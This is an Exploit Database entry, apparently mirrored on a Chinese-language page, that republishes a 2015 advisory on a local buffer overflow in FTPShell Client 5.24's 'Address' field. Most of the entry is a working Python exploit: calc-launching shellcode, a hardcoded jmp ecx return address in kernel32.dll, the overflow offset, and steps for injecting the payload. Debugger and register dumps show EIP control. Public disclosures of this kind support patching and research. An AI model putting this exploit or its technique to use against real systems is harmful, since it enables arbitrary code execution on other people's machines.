FTPShell Client 5.24 – Local Buffer Overflow

• Exploit Database
• 14 阅读

• 作者： hyp3rlinx
  日期： 2015-12-30
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39132/

• '''
  [+] Credits: hyp3rlinx
  
  [+] Website: hyp3rlinx.altervista.org
  
  [+] Source:
  http://hyp3rlinx.altervista.org/advisories/FTPSHELL-v5.24-BUFFER-OVERFLOW.txt
  
  
  Vendor:
  ================================
  www.ftpshell.com
  
  
  Product:
  ================================
  FTPShell Client version 5.24
  
  FTPShell client is a windows file transfer program that enables users to
  reliably transfer files,
  upload to websites, and download updates from the internet.
  
  
  Vulnerability Type:
  ===================
  Buffer Overflow
  
  
  CVE Reference:
  ==============
  N/A
  
  
  Vulnerability Details:
  =====================
  ftpshell.exe client has a buffer overflow entry point in the 'Address'
  input field used to connect to an FTP server.
  Allowing local arbitrary code execution by overwriting several registers on
  the stack and controlling program execution flow.
  EIP register will be used to jump to our malicious shellcode which will be
  patiently waiting in ECX register.
  
  exploited registers dump...
  
  EAX 00000021
  ECX 0012E5B0
  EDX 76F670B4 ntdll.KiFastSystemCallRet
  EBX 76244FC4 kernel32.76244FC4
  ESP 0012E658 ASCII "calc.exe" <--------- BAM!
  EBP 7621E5FD kernel32.WinExec
  ESI 001D2930
  EDI 76244FEC kernel32.76244FEC
  EIP 015FB945
  C 0ES 0023 32bit 0(FFFFFFFF)
  P 1CS 001B 32bit 0(FFFFFFFF)
  A 0SS 0023 32bit 0(FFFFFFFF)
  Z 1DS 0023 32bit 0(FFFFFFFF)
  S 0FS 003B 32bit 7FFDE000(FFF)
  T 0GS 0000 NULL
  D 0
  O 0LastErr ERROR_SUCCESS (00000000)
  EFL 00200246 (NO,NB,E,BE,NS,PE,GE,LE)
  ST0 empty g
  ST1 empty g
  ST2 empty g
  ST3 empty g
  ST4 empty g
  ST5 empty g
  ST6 empty g
  ST7 empty g
   3 2 1 0E S P U O Z D I
  FST C5E1Cond 1 1 0 1Err 1 1 1 0 0 0 0 1(Unordered)
  FCW 1372Prec NEAR,64Mask1 1 0 0 1 0
  
  
  test stack dump....
  
  (3b8.fa0): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  *** WARNING: Unable to verify checksum for ftpshell.exe
  *** ERROR: Symbol file could not be found.Defaulted to export symbols for
  ftpshell.exe -
  eax=41414141 ebx=017ebc70 ecx=017ebc70 edx=0012ebc8 esi=0012ebc8
  edi=017a9498
  eip=41414141 esp=0012e928 ebp=0012ea70 iopl=0 nv up ei pl nz na po
  nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000
  efl=00210202
  41414141 ?????
  
  
  Exploit code(s):
  ===============
  '''
  
  import struct
  
  #FTPShell Client version 5.24 - www.ftpshell.com
  #Buffer Overflow Exploit
  #by hyp3rlinx
  #run to generate payload, then copy and inject
  #into the 'Address' field on the client and BOOM!
  
  #shellcode to pop calc.exe Windows 7 SP1
  sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
  "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
  "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
  "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
  "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
  "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
  "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")
  
  
  #payload="A"*2475+"R"*4+"\xcc"*100#<---- control EIP register
  
  #find appropriate assembly instruction to call our payload JMP or CALL ECX.
  #!mona jmp -r ecx -m kernel32.dll
  
  eip=struct.pack('<L', 0x761C1FDC)#jmp ecx kernel32.dll
  payload="A"*2475+eip+sc#<----- direct EIP overwrite no NOPs
  no nothing... BOOOOOM!!!
  
  file=open("C:\\ftpshell-exploit","w")
  file.write(payload)
  file.close()
  
  
  '''
  Disclosure Timeline:
  ========================================
  Vendor Notification:NR
  December 29, 2015: Public Disclosure
  
  
  
  Exploitation Technique:
  =======================
  Local
  
  
  
  Severity Level:
  ================
  High
  
  
  
  Description:
  ==========================================================
  
  
  Request Method(s):[+]Local Injection
  
  
  Vulnerable Product: [+]FTPShell Client version 5.24
  
  
  Vulnerable Parameter(s):[+] 'Address'
  
  
  
  ===========================================================
  
  [+] Disclaimer
  Permission is hereby granted for the redistribution of this advisory,
  provided that it is not altered except by reformatting it, and that due
  credit is given. Permission is explicitly given for insertion in
  vulnerability databases and similar, provided that due credit is given to
  the author.
  The author is not responsible for any misuse of the information contained
  herein and prohibits any malicious use of all security related information
  or exploits by the author or elsewhere.
  
  by hyp3rlinx
  '''